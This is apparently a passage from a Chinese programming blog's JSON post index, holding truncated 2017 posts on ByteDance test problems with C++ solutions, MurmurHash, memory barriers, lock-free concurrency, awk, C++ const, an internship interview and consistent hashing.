2 0000010 3 0000011 4 0000100 5 0000101 6 0000110 7 0000111 8 0001000 9 0001001 10 0001010 11 0001011 12 0001100 13 0001101 14 0001110 15 0001111 16 0010000 17 0010001 18 0010010 19 0010011 20 0010100 21 0010101 22 0010110 23 0010111 24 0011000 25 0011001 26 0011010 27 0011011 28 0011100 29 0011101 30 0011110 31 0011111 32 0100000 33 0100001 34 0100010 35 0100011 36 0100100 37 0100101 38 0100110 39 0100111 40 0101000 41 0101001 42 0101010 43 0101011 44 0101100 45 0101101 46 0101110 47 0101111 48 0110000 49 0110001 50 0110010 51 0110011 52 0110100 53 0110101 54 0110110 55 0110111 56 0111000 57 0111001 58 0111010 59 0111011 60 0111100 61 0111101 62 0111110 63 0111111 64 1000000 65 1000001 66 1000010 67 1000011 68 1000100 69 1000101 70 1000110 71 1000111 72 1001000 73 1001001 74 1001010 75 1001011 76 1001100 77 1001101 78 1001110 79 1001111 80 1010000 81 1010001 82 1010010 83 1010011 84 1010100 85 1010101 86 1010110 87 1010111 88 1011000 89 1011001 90 1011010 91 1011011 92 1011100 93 1011101 94 1011110 95 1011111 96 1100000 97 1100001 98 1100010 99 1100011 100 1100100 发现如果x的二进制表示中,如果某位为1,那么对应的y的位置上一定为0. 如果某位为0,那么对应的y的位置上可以为0也可以为1… 就是说…x的二进制表示中,为1的的那些位置是能改变的. 影响当前第几大的就是那些为0的位置… 所以我们可以把k转化成二进制表示,按顺序填充到x中为0的那些位置(主要可以填充到x最大权值的1之后的0的位置),然后得到的数就是x+y的答案,最后再减去x即可 因为数组开小了..第一次只过了90%…. 果然是个废k了呜呜呜,数组开小这种错误我也是服了… 1/* *********************************************** 2Author :111qqz 3Created Time :2017年03月30日 星期四 10时17分40秒 4File Name :code/toutiao4.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#i","date":"2017-03-30","externalUrl":null,"permalink":"/2017/03/bytedance-2017-interview-03/","section":"Posts","summary":"给定 x, k ，求满足 x + y = x | y 的第 k 小的正整数 y 。 | 是二进制的或(or)运算，例如 3 | 5 = 7。","tags":["打表","构造"],"title":"今日头条笔试题_或与加(打表,构造)","type":"post"},{"categories":["面试"],"content":"有一个由很多木棒构成的集合，每个木棒有对应的长度，请问能否用集合中的这些木棒以某个顺序首尾相连构成一个面积大于 0 的简单多边形且所有木棒都要用上，简单多边形即不会自交的多边形。 初始集合是空的，有两种操作，要么给集合添加一个长度为 L 的木棒，要么删去集合中已经有的某个木棒。每次操作结束后你都需要告知是否能用集合中的这些木棒构成一个简单多边形。 输入描述: # 每组测试用例仅包含一组数据，每组数据第一行为一个正整数 n 表示操作的数量(1 ≤ n ≤ 50000) ， 接下来有n行，每行第一个整数为操作类型 i (i ∈ {1,2})，第二个整数为一个长度 L(1 ≤ L ≤ 1,000,000,000)。如果 i=1 代表在集合内插入一个长度为 L 的木棒，如果 i=2 代表删去在集合内的一根长度为 L 的木棒。输入数据保证删除时集合中必定存在长度为 L 的木棒，且任意操作后集合都是非空的。 输出描述: # 对于每一次操作结束有一次输出，如果集合内的木棒可以构成简单多边形，输出 “Yes” ，否则输出 “No”。 输入例子: # 5 1 1 1 1 1 1 2 1 1 2 输出例子: # No No Yes No No 能组成n边形的条件可以由三角形推广而来..(虽然只是猜想… 也就是n-1条较小边的和大于最大边…事实证明这结论是对的orz.. 然后就是multiset就好… 1/* *********************************************** 2Author :111qqz 3Created Time :2017年03月29日 星期三 21时17分02秒 4File Name :code/toutiao2.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n; 34multiset\u003clong long\u003ese; 35int main() 36{ 37 #ifndef ONLINE_JUDGE 38 freopen(\"code/in.txt\",\"r\",stdin); 39 #endif 40 cin\u003e\u003en; 41 while (n--) 42 { 43 LL x,y; 44 scanf(\"%lld%lld\",\u0026x,\u0026y); 45 if (x==1) se.insert(y); 46 else se.erase(se.find(y)); 47 if (se.size()\u003c=2) 48 { 49 puts(\"No\"); 50 continue; 51 } 52 LL mx = -1; 53 LL sum = 0 ; 54 for ( auto it = se.begin() ; it!=se.end() ; it++) 55 { 56 sum = sum + *","date":"2017-03-29","externalUrl":null,"permalink":"/2017/03/bytedance-2017-interview-02/","section":"Posts","summary":"有一个由很多木棒构成的集合，每个木棒有对应的长度，请问能否用集合中的这些木棒以某个顺序首尾相连构成一个面积大于 0 的简单多边形且所有木棒都要用上，简单多边形即不会自交的多边形。","tags":["math"],"title":"今日头条笔试题-木棒拼图(数学)","type":"post"},{"categories":["面试"],"content":"有 n 个字符串，每个字符串都是由 A-J 的大写字符构成。现在你将每个字符映射为一个 0-9 的数字，不同字符映射为不同的数字。这样每个字符串就可以看做一个整数，唯一的要求是这些整数必须是正整数且它们的字符串不能有前导零。现在问你怎样映射字符才能使得这些字符串表示的整数之和最大？ 输入描述:每组测试用例仅包含一组数据，每组数据第一行为一个正整数 n ， 接下来有 n 行，每行一个长度不超过 12 且仅包含大写字母 A-J 的字符串。 n 不大于 50，且至少存在一个字符不是任何字符串的首字母。 输出描述:输出一个数，表示最大和是多少。 输入例子: 2 ABC BCA 输出例子: 1875 一开始看漏了首位不能映射到0的条件…直接贪了..结果发现不太对… 哦贪心的方法就是算每个字母的权值和…用pair 搞一下… 处理的办法是如果10个字母都出现,那么先把没有在首位出现过的字母中权重最小的那个映射到0,再搞剩下的… 一个trick是…map映射到0..和某个key没有被映射过..产生了二义性…. 窝的做法就是整体+1,最后再减回来.. 然后因为某处手残卡了1个小时…???. 哎我果然是个废k了…..傻逼贪心都写不对QAQ 1/* *********************************************** 2Author :111qqz 3Created Time :2017年03月29日 星期三 16时28分18秒 4File Name :toutiao1.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=55; 32int n; 33string st[N]; 34pair \u003clong long ,int \u003e cnt[20]; 35LL ten[25]; 36map\u003cchar,int\u003emp; 37set\u003cchar\u003eNhead; 38bool head[25]; 39set\u003cchar\u003eall; 40set\u003cchar\u003eused; 41set\u003c pair \u003clong long ,char\u003e \u003e se; 42int main() 43{ 44 #ifndef ONLINE_JUDGE 45 freopen(\"code/in.txt\",\"r\",stdin); 46 #endif 47 cin\u003e\u003en; 48 ten[0] = 1; 49 for ( int i = 1 ; i \u003c= 15 ; i++) ten[i] = ten[i-1]*10LL; 50 for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003est[i]; 51 ms(cnt,0); 52 ms(head,false); 53 mp.clear(); //处理首位不能为0的思路:把不在头部出现的字","date":"2017-03-29","externalUrl":null,"permalink":"/2017/03/bytedance-2017-interview-01/","section":"Posts","summary":"有 n 个字符串，每个字符串都是由 A-J 的大写字符构成。现在你将每个字符映射为一个 0-9 的数字，不同字符映射为不同的数字。这样每个字符串就可以看做一个整数，唯一的要求是这些整数必须是正整数且它们的字符串不能有前导零。现在问你怎样映射字符才能使得这些字符串表示的整数之和最大？ 输入描述:每组测试用例仅包含一组数据，每组数据第一行为一个正整数 n ， 接下来有 n 行，每行一个长度不超过 12 且仅包含大写字母 A-J 的字符串。 n 不大于 50，且至少存在一个字符不是任何字符串的首字母。 输出描述:输出一个数，表示最大和是多少。 输入例子: 2 ABC BCA 输出例子: 1875 一开始看漏了首位不能映射到0的条件…直接贪了..结果发现不太对…","tags":["greedy"],"title":"今日头条笔试题-最大映射(贪心)","type":"post"},{"categories":["工程"],"content":"分析levelDB源码的时候遇到的…发现是一个广泛应用的hash算法，而且是纯c写的，于是找来了源码看。 MurmurHash 是一种非加密型哈希函数，适用于一般的哈希检索操作。[1][2][3]由Austin Appleby在2008年发明，[4][5] 并出现了多个变种，[6] 都已经发布到了公有领域(public domain)。与其它流行的哈希函数相比，对于规律性较强的key，MurmurHash的随机分布特征表现更良好。[7] 最初的实现是C++的，但是被移植到了其他的流行语言上，包括 Python,[11]C,[12]C#,[9][13]Perl,[14]Ruby,[15]PHP,[16]Haskell,[17]、Scala[18]、Java[19][20]和JavaScript[21][22]等。 这个算法已经被若干开源计划所采纳，最重要的有libstdc++ (4.6版)、Perl[23]、nginx (不早于1.0.1版)[24]、Rubinius[25]、 libmemcached (Memcached的C语言客户端驱动)[26]、maatkit[27]、Hadoop[1]、Kyoto Cabinet[28]以及RaptorDB[29]。 虽然说破天就是一个hash函数。。似乎没什么好分析的？ 不过由于是第一次分析有现实意义的代码，所以简单一点也不是罪过吧orz 以及这次分析代码的重点不在hash算法本身…而是算法之外的其他东西… 大概感受下有现实意义的工程代码的布局之类orz hash函数本身没有分析…这个没什么好分析的吧…应该是类似一种构造，看懂每一步很容易，但是你还是想不出来啊？而且一堆\"magic number\" 代码很短，也就200行,分析见注释。 1 /** 2 * `main.c' - murmurhash 3 * 4 * copyright (c) 2014 joseph werle \u003cjoseph.werle@gmail.com\u003e 5 */ 6 7 #include \u003cstdio.h\u003e 8 #include \u003cstdlib.h\u003e 9 #include \u003cstring.h\u003e 10 #include \u003cunistd.h\u003e 11 #include \u003cinttypes.h\u003e 12 #include \"murmurhash.h\" 13 14 static void 15 usage () { 16 fprintf(stderr, \"usage: murmur [-hV] [options]\\n\"); 17 } 18 19 static void //函数类型和函数名不一行写是什么风格orz... 20 help () { 21 fprintf(stderr, \"\\noptions:\\n\"); 22 fprintf(stderr, \"\\n --seed=[seed] hash seed (optional)\"); 23 fprintf(stderr, \"\\n\"); 24 } 25 26 static char * 27 read_stdin () { 28 size_t bsize = 1024; 29 size_t size = 1; 30 char buf[bsize]; 31 char *res = (char *) malloc(sizeof(char) * bsize); 32 char *tmp = NULL; 33 34 // memory issue 35 if (NULL == res) { return NULL; } //申请内存失败了... 36 37 // cap 38 res[0] = '\\0'; 39 40 // read 41 if (NULL != fgets(buf, bsize, stdin)) { 42 // store 43 tmp = res; //异常安全？ 44 // resize 45 size += (size_t) strlen(buf); 46 // realloc 47 res = (char *) realloc(res, size); 48 49 // memory issues 50 if (NULL == res) { 51 free(tmp)","date":"2017-03-22","externalUrl":null,"permalink":"/2017/03/reading-murmurhash-code/","section":"Posts","summary":"分析levelDB源码的时候遇到的…发现是一个广泛应用的hash算法，而且是纯c写的，于是找来了源码看。","tags":["hash","murmurhash","levelDB"],"title":"murmurhash源码分析","type":"post"},{"categories":["工程"],"content":"起因是最近在看levelDB源码，其中port里的atomic_pointer.h文件用到了内存屏障。。 于是来学习一下。。 粗略得说下我自己的理解。 代码的顺序并不和执行的顺序完全对应，出于对效率的追求，cpu和编译器会对一些顺序指令重排，以期得到最大的执行效率。 比如下面这段代码： 1// example 2 2 // void *ptr, v, _store; 3 v = ptr; 4 _store = v; 5 somefunc(); 6 v = _store; v的值是没有改变的，那么编译器可能会认为_store = v; v = _store; 是多余的，就直接把这一段给“优化”掉了。这段代码在单线程中确实是多余的，但是在多线程环境下，可能在somefunc()被调用的时候，另一个线程把v的值给改变了，而这种情况是编译器无法发现的。因此，为了避免这种情况。。。内存屏障登场！ 摘自维基百科： 内存屏障，也称内存栅栏，内存栅障，屏障指令等，是一类同步屏障指令，是CPU或编译器在对内存随机访问的操作中的一个同步点，使得此点之前的所有读写操作都执行后才可以开始执行此点之后的操作。 大多数现代计算机为了提高性能而采取乱序执行，这使得内存屏障成为必须。 语义上，内存屏障之前的所有写操作都要写入内存；内存屏障之后的读操作都可以获得同步屏障之前的写操作的结果。因此，对于敏感的程序块，写操作之后、读操作之前可以插入内存屏障。 在多线程环境里需要使用某种技术来使程序结果尽快可见。。请先假定一个事实：一旦内存数据被推送到缓存，就会有消息协议来确保所有的缓存会对所有的共享数据同步并保持一致。这个使内存数据对CPU核可见的技术被称为内存屏障或内存栅栏。 再看一个例子 1// get start time 2for (int i = 0; i != 100000; i++) { 3 MemoryBarrier() 4} 5// get end time 这段代码，是想知道for循环空转100000次的耗时，这里就需要加入一个MemoryBarrier，如果不加，那么编译器可能就会直接把这个无意义的for循环直接优化掉了。 除了编译器，cpu由于指令流水线或者超流水线等计数，也可能导致出现乱序执行的情况。 内存屏障提供了两个功能。首先，它们通过确保从另一个CPU来看屏障的两边的所有指令都是正确的程序顺序，而保持程序顺序的外部可见性；其次它们可以实现内存数据可见性，确保内存数据会同步到CPU缓存子系统。 不过内存平展由于阻碍了cpu和编译器的部分优化。。。因此对性能的影响是不忽略的。 为了达到最佳性能，最好是把要解决的问题模块化，这样处理器可以按单元执行任务，然后在任务单元的边界放上所有需要的内存屏障。采用这个方法可以让处理器不受限的执行一个任务单元。合理的内存屏障组合还有一个好处是：缓冲区在第一次被刷后开销会减少，因为再填充改缓冲区不需要额外工作了。 内存屏障的实现不同平台差别很大。。。因为我们可以看到atomic_pointer.h文件中 一堆和平台相关的条件编译… 1// Copyright (c) 2011 The LevelDB Authors. All rights reserved. 2// Use of this source code is governed by a BSD-style license that can be 3// found in the LICENSE file. See the AUTHORS file for names of contributors. 4 5// AtomicPointer provides storage for a lock-free pointer. 6// Platform-dependent implementation of AtomicPointer: 7// - If the platform provides a cheap barrier, we use it with raw pointers 8// - If \u003catomic\u003e is present (on newer versions of gcc, it is), we use 9// a \u003catomic\u003e-ba","date":"2017-03-22","externalUrl":null,"permalink":"/2017/03/memory-barriers/","section":"Posts","summary":"起因是最近在看levelDB源码，其中port里的atomic_pointer.h文件用到了内存屏障。。","tags":["levelDB","内存屏障"],"title":"内存屏障（Memory Barriers）","type":"post"},{"categories":["c++"],"content":"参考资料 看leveldb源码中遇到的，关于lock-free 和 wait-free..感觉这个讲得不错，我试着翻译一下？ There are two types of non-blocking thread synchronization algorithms - lock-free, and wait-free. Their meaning is often confused. In lock-free systems, while any particular computation may be blocked for some period of time, all CPUs are able to continue performing other computations. To put it differently, while a given thread might be blocked by other threads in a lock-free system, all CPUs can continue doing other useful work without stalls. Lock-free algorithms increase the overall throughput of a system by occassionally increasing the latency of a particular transaction. Most high- end database systems are based on lock-free algorithms, to varying degrees. 有两种 无阻塞线程同步算法，一种是lock-free，一种是wait-free，它们的含义经常被搞混。在一个lock-free系统中，尽管某个特定的计算会被阻碍一段时间，所有的cpu还是能够继续其他计算。换一种说法，尽管在一个lock-free的系统里，一个线程可能被其他线程阻碍，所有的cpu仍然可以继续做其他工作而不做停顿。lock-free算法通过偶然增加一个特定事物的延迟，增加了系统总体的吞吐率。大多数高端数据库系统都在某种程度上基于lock-free 算法。 By contrast, wait-free algorithms ensure that in addition to all CPUs continuing to do useful work, no computation can ever be blocked by another computation. Wait-free algorithms have stronger guarantees than lock-free algorithms, and ensure a high thorughput without sacrificing latency of a particular transaction. They’re also much harder to implement, test, and debug. The lockless page cachepatches to the Linux kernel are an example of a wait-free system. 与此相反，wait-free算法除了保证所有cpu继续做其他工作以外，还保证不会有任何计算被另一个计算阻止。wait-free算法比lock-free算法有更强的保证，确保了在不牺牲某一事物的延迟的基础上，拥有更高的吞吐率.wait-free算法因此也更加难以实现，测试，调试。linux内核的无锁页面缓存（？）就是一个wait-free系统的例子。 In a situation where a system handles dozens of concurrent transactions and has soft latency requirements, lock-free systems are a good compromise between development complexity and high conc","date":"2017-03-21","externalUrl":null,"permalink":"/2017/03/lock-free-vs-wait-free-concurrency/","section":"Posts","summary":"参考资料 看leveldb源码中遇到的，关于lock-free 和 wait-free..感觉这个讲得不错，我试着翻译一下？","tags":["levelDB"],"title":"Lock-free vs wait-free concurrency","type":"post"},{"categories":["工程"],"content":"参考资料： awk_维基百科 awk简明教程 awk是一门比较古老但是很好用的文本处理工具（语言?） 语法还是很好懂的。。。转载了一篇文章。。。算是简明手册？ 不过台词有点糟糕orz 有一些网友看了前两天的《Linux下应该知道的技巧》希望我能教教他们用awk和sed，所以，出现了这篇文章。我估计这些80后的年轻朋友可能对awk/sed这类上古神器有点陌生了，所以需要我这个老家伙来炒炒冷饭。况且，AWK是贝尔实验室1977年搞出来的文本出现神器，今年是蛇年，是AWK的本命年，而且年纪和我相仿，所以非常有必要为他写篇文章。 之所以叫AWK是因为其取了三位创始人 Alfred Aho，Peter Weinberger, 和 Brian Kernighan 的Family Name的首字符。要学AWK，就得提一提AWK的一本相当经典的书《The AWK Programming Language》，它在豆瓣上的评分是9.4分！在亚马逊上居然卖1022.30元。 我在这里的教程并不想面面俱到，本文和我之前的Go语言简介一样，全是示例，基本无废话。 我只想达到两个目的： 1）你可以在乘坐公交地铁上下班，或是在坐马桶拉大便时读完（保证是一泡大便的工夫）。 2）我只想让这篇博文像一个火辣的脱衣舞女挑起你的兴趣，然后还要你自己去下工夫去撸。 废话少说，我们开始脱吧（注：这里只是topless）。 起步上台 # 我从netstat命令中提取了如下信息作为用例： $ cat netstat.txt Proto Recv-Q Send-Q Local-Address Foreign-Address State tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN tcp 0 0 coolshell.cn:80 124.205.5.146:18245 TIME_WAIT tcp 0 0 coolshell.cn:80 61.140.101.185:37538 FIN_WAIT2 tcp 0 0 coolshell.cn:80 110.194.134.189:1032 ESTABLISHED tcp 0 0 coolshell.cn:80 123.169.124.111:49809 ESTABLISHED tcp 0 0 coolshell.cn:80 116.234.127.77:11502 FIN_WAIT2 tcp 0 0 coolshell.cn:80 123.169.124.111:49829 ESTABLISHED tcp 0 0 coolshell.cn:80 183.60.215.36:36970 TIME_WAIT tcp 0 4166 coolshell.cn:80 61.148.242.38:30901 ESTABLISHED tcp 0 1 coolshell.cn:80 124.152.181.209:26825 FIN_WAIT1 tcp 0 0 coolshell.cn:80 110.194.134.189:4796 ESTABLISHED tcp 0 0 coolshell.cn:80 183.60.212.163:51082 TIME_WAIT tcp 0 1 coolshell.cn:80 208.115.113.92:50601 LAST_ACK tcp 0 0 coolshell.cn:80 123.169.124.111:49840 ESTABLISHED tcp 0 0 coolshell.cn:80 117.136.20.85:50025 FIN_WAIT2 tcp 0 0 :::22 :::* LISTEN 下面是最简单最常用的awk示例，其输出第1列和第4例， 其中单引号中的被大括号括着的就是awk的语句，注意，其只能被单引号包含。 其中的$1..$n表示第几例。注：$0表示整个行。 $ awk '{print $1, $4}' netstat.txt Proto Local-Address tcp 0.0.0.0:3306 tcp 0.0.","date":"2017-03-19","externalUrl":null,"permalink":"/2017/03/awk-notes/","section":"Posts","summary":"参考资料： awk_维基百科 awk简明教程 awk是一门比较古老但是很好用的文本处理工具（语言?）","tags":["awk","linux"],"title":"AWK 初探","type":"post"},{"categories":["工程"],"content":"基本全文照搬了：关于C++ const 的全面总结 总结全面还是要一点时间的orz..感谢原作者，暂时没发现有什么错误（? 其中对我而言比较陌生的是“const修饰成员函数”的用法。。已经加粗。 C++中的const关键字的用法非常灵活，而使用const将大大改善程序的健壮性，本人根据各方面查到的资料进行总结如下，期望对朋友们有所帮助。 Const 是C++中常用的类型修饰符,常类型是指使用类型修饰符const说明的类型，常类型的变量或对象的值是不能被更新的。 一、Const作用 ** **如下表所示： **No.** **作用** **说明** **参考代码** 1 可以定义const常量 const int Max = 100; 2 便于进行类型检查 const常量有数据类型，而宏常量没有数据类型。编译器可以对前者进行类型安全检查，而对后者只进行字符替换，没有类型安全检查，并且在字符替换时可能会产生意料不到的错误 void f(const int i) { .........} //对传入的参数进行类型检查，不匹配进行提示 3 可以保护被修饰的东西 防止意外的修改，增强程序的健壮性。 void f(const int i) { i=10;//error! } //如果在函数体内修改了i，编译器就会报错 4 可以很方便地进行参数的调整和修改 同宏定义一样，可以做到不变则已，一变都变 5 为函数重载提供了一个参考 class A { …… void f(int i) {……} //一个函数 void f(int i) const {……} //上一个函数的重载 …… }; 6 可以节省空间，避免不必要的内存分配 const定义常量从汇编的角度来看，只是给出了对应的内存地址，而不是象#define一样给出的是立即数，所以，const定义的常量在程序运行过程中只有一份拷贝，而#define定义的常量在内存中有若干个拷贝 #define PI 3.14159 //常量宏 const doulbe Pi=3.14159; //此时并未将Pi放入ROM中 …… double i=Pi; //此时为Pi分配内存，以后不再分配！ double I=PI; //编译期间进行宏替换，分配内存 double j=Pi; //没有内存分配 double J=PI; //再进行宏替换，又一次分配内存！ 7 提高了效率 编译器通常不为普通const常量分配存储空间，而是将它们保存在符号表中，这使得它成为一个编译期间的常量，没有了存储与读内存的操作，使得它的效率也很高 二、Const的使用 1、定义常量 (1)const修饰变量，以下两种定义形式在本质上是一样的。它的含义是：const修饰的类型为TYPE的变量value是不可变的。 TYPE const ValueName = value; const TYPE ValueName = value; (2)将const改为外部连接,作用于扩大至全局,编译时会分配内存,并且可以不进行初始化,仅仅作为声明,编译器认为在程序其他地方进行了定义. extend const int ValueName = value; 2、指针使用CONST (1)指针本身是常量不可变 char* const pContent; (2)指针所指向的内容是常量不可变 const char *pContent; (3)两者都不可变 const char* const pContent; (4)还有其中区别方法，沿着号划一条线： 如果const位于的左侧，则const就是用来修饰指针所指向的变量，即指针指向为常量； 如果const位于*的右侧，const就是修饰指针本身，即指针本身是常量。 3、函数中使用CONST (1)const修饰函数参数 a.传递过来的参数在函数内不可以改变(无意义，因为Var本身就是形参) void function(const int Var); b.参数指针所指内容为常量不可变 void function(const char* Var); c.参数指针本身为常量不可变(也无意义，因为char* Var也是形参) void function(char* const Var); d.参数为引用，为了增加效率同时防止","date":"2017-03-18","externalUrl":null,"permalink":"/2017/03/cpp-const/","section":"Posts","summary":"基本全文照搬了：关于C++ const 的全面总结 总结全面还是要一点时间的orz..感谢原作者，暂时没发现有什么错误（?","tags":["cpp"],"title":"C++ const 用法总结（转载）","type":"post"},{"categories":["面试"],"content":"印象中是并没有看到jd，只是要求熟悉算法和数据结构+C艹…于是当时扔了份简历过去。 然后立刻就接到了一个电话，大概问了下一些基本情况。。以及。。你为什么不考研。。。 然后说之后会安排面试。。就杳无音信了。。然后突然有一天周末晚上11点接到短信说要安排面试orz… 【一面】 # 一面先是手写代码…都是面试套路题，就不说了… 哦其中一道题给出了优于面试官手中正解复杂度(nlgn）的复杂度的做法… 因为我说完我的做法给出了一点正确性的证明以后听他说了句“哦这题原来可以O(n)啊” 然后问了一点cpp基础。。。不记得问什么了。。反正也都很简单？ 之后问了两个智力题吧。。。其中一个是7g+9g砝码称140g中的50g的问题…当时的确想了一下。。 再之后。。。开始问机器学习。。。。 这个时候我才意识到。。。这大概是算法岗啊。。。orz 然后我就全程装死。。。直言说不会orz… 然后面试官说，那我问问你微积分和概率论吧。。。。 我继续装死… 然后就结束了…结束的时候问了面试官有什么建议 他说。。建议我。。去读研。。。。。。去读研。。。。 心想一定gg了。。。于是就忘了这事。。。 【二面】 # 然后10天以后。。竟然接到电话。。自称是二面面试官。。。 还说看到一面面试官对我评价很高。。。 我：喵喵喵喵喵？ 然后我当时直接就问了一句：但是我机器学习基本不会，怎么会评价高呢。。。。 面试官说：放心我不会问你这些。。。 之后约了面试，还是手写代码… 先是考了个尺取。。忘记题目了。。反正是那种被考烂的题。。。 然后第二个问题是手写快排。。。问了下快排相关的问题。。。 第三个问题是让我设计一个高效算法。。查询区间最大值。。。。。 我问查询次数多吗。。他说很多。。。我说可以用st表的rmq来做。。。 他说对，然后让我手写一下rmq的初始化函数… 再之后，问了一个top k问题…还好之前看群里的人讨论过orz… 最后一个问题问了蓄水池抽样…orz… 之前没看过这个算法，没有回答出来。。 第二天有一个貌似是部门负责人的人告诉我二面通过了。。。评价很高（我：？？？？？） 说是可能还会有个HR面。。。让我保持联系。。。 # 【HR面】 # 不知道能不能称之为HR面。。。感觉就是HR姐姐确认一些问题？ 先是问我。。你一个武汉的学生。。。怎么想到北京来了呢。。。 之后问了。。。以后的打算啊。。。有没有拿到其他offer啊。。。 然后确认了下薪资问题。。。。 说是offer流程要一周左右。。。让我耐心等待。。 然后果然等了快一周2333 【总结】 # 其实接到二面通知的时候，jd是我当时面过的几家里面的最差的一家了（害怕。。。这里最差显然是说我很多没答上来的意思好么2333。。。京东很强啊orz…不要误会啊QAQ）….能接到二面也是很神奇…想了想也只可能那个复杂度O(n)的解法起了作用吧2333","date":"2017-03-18","externalUrl":null,"permalink":"/2017/03/jd-intern-interview/","section":"Posts","summary":"印象中是并没有看到jd，只是要求熟悉算法和数据结构+C艹…于是当时扔了份简历过去。","tags":["京东","面试经历"],"title":"京东实习面试总结","type":"post"},{"categories":["其他"],"content":"系统信息： 表现为不管外放还是耳机。。都没有声音。。。 解决办法： 1pacmd set-card-profile alsa_card.pci-0000_00_1b.0 output:analog-stereo+input:analog-stereo 参考资料","date":"2017-03-16","externalUrl":null,"permalink":"/2017/03/20173archlinux/","section":"Posts","summary":"系统信息： 表现为不管外放还是耳机。。都没有声音。。。 解决办法： 1pacmd set-card-profile alsa_card.pci-0000_00_1b.0 output:analog-stereo+input:analog-stereo 参考资料","tags":["算法竞赛"],"title":"2017年3月更新archlinux后没有声音问题的解决办法","type":"post"},{"categories":["工程"],"content":"原始论文：一致性哈希 本来不打算放的。。被批评说太不严谨orz.. 说说自己的理解好了。。 大概就是。。。hash的时候。。一开始有n个桶。。你设计的函数是y=x%n…看起来美滋滋。。。 然后这时候突然一个桶不见了。。。如果按照之前设计的hash函数。。就变成了x%(n-1)… 这可能会造成大量的数据改变自己之前所在的桶。。。这是不可接受的。。。 或者是。。。当前的桶不够用了。。要增加一个桶。。。变成了x%(n+1)。。。也会出现类似情况。。。 我们的目的就是设计一种算法。。。使得当减少一个桶或者增加一个桶的时候。。。。变化尽可能小。。。 并且希望以后新放入的数据尽可能到新的桶中（？ 桶是简化的模型。。。实际应用上。。。一致性哈希主要用在分布式系统中。。。每个桶就相当于一台服务器（？or something…不是很懂分布式的术语） 一致性哈希算法 # tencent2012笔试题附加题 问题描述： 例如手机朋友网有n个服务器，为了方便用户的访问会在服务器上缓存数据，因此用户每次访问的时候最好能保持同一台服务器。 已有的做法是根据ServerIPIndex[QQNUM%n]得到请求的服务器，这种方法很方便将用户分到不同的服务器上去。但是如果一台服务器死掉了，那么n就变为了n-1，那么ServerIPIndex[QQNUM%n]与ServerIPIndex[QQNUM%（n-1）]基本上都不一样了，所以大多数用户的请求都会转到其他服务器，这样会发生大量访问错误。 问： 如何改进或者换一种方法，使得： (1) 一台服务器死掉后，不会造成大面积的访问错误， (2)原有的访问基本还是停留在同一台服务器上； (3)尽量考虑负载均衡。（思路：往分布式一致哈希算法方面考虑。） 最土的办法还是用模余方法：做法很简单，假设有N台服务器，现在完好的是M（M\u003c=N),先用N求模，如果不落在完好的机器上，然后再用N-1求模，直到M.这种方式对于坏的机器不多的情况下，具有更好的稳定性。 一致性哈希算法。 下面，本文剩下部分重点来讲讲这个一致性哈希算法。 应用场景 # 在做服务器负载均衡时候可供选择的负载均衡的算法有很多，包括： 轮循算法（Round Robin）、哈希算法（HASH）、最少连接算法（Least Connection）、响应速度算法（Response Time）、加权法（Weighted ）等。其中哈希算法是最为常用的算法. 典型的应用场景是： 有N台服务器提供缓存服务，需要对服务器进行负载均衡，将请求平均分发到每台服务器上，每台机器负责1/N的服务。 常用的算法是对hash结果取余数 (hash() mod N)：对机器编号从0到N-1，按照自定义的hash()算法，对每个请求的hash()值按N取模，得到余数i，然后将请求分发到编号为i的机器。但这样的算法方法存在致命问题，如果某一台机器宕机，那么应该落在该机器的请求就无法得到正确的处理，这时需要将当掉的服务器从算法从去除，此时候会有(N-1)/N的服务器的缓存数据需要重新进行计算；如果新增一台机器，会有N /(N+1)的服务器的缓存数据需要进行重新计算。对于系统而言，这通常是不可接受的颠簸（因为这意味着大量缓存的失效或者数据需要转移）。那么，如何设计一个负载均衡策略，使得受到影响的请求尽可能的少呢？ 在Memcached、Key-Value Store、Bittorrent DHT、LVS中都采用了Consistent Hashing算法，可以说Consistent Hashing 是分布式系统负载均衡的首选算法。 Consistent Hashing算法描述 # 下面以Memcached中的Consisten Hashing算法为例说明。 consistent hashing 算法早在 1997 年就在论文 Consistent hashing and random trees 中被提出，目前在 cache 系统中应用越来越广泛； 基本场景 # 比如你有 N 个 cache 服务器（后面简称 cache ），那么如何将一个对象 object 映射到 N 个 cache 上呢，你很可能会采用类似下面的通用方法计算 object 的 hash 值，然后均匀的映射到到 N 个 cache ； ha","date":"2017-03-15","externalUrl":null,"permalink":"/2017/03/overview-of-Consistent-Hashing/","section":"Posts","summary":"原始论文：一致性哈希 本来不打算放的。。被批评说太不严谨orz..","tags":["hash","一致性哈希"],"title":"一致性哈希初探","type":"post"},{"categories":["工程"],"content":"参考：[wiki_FHS](http://Filesystem 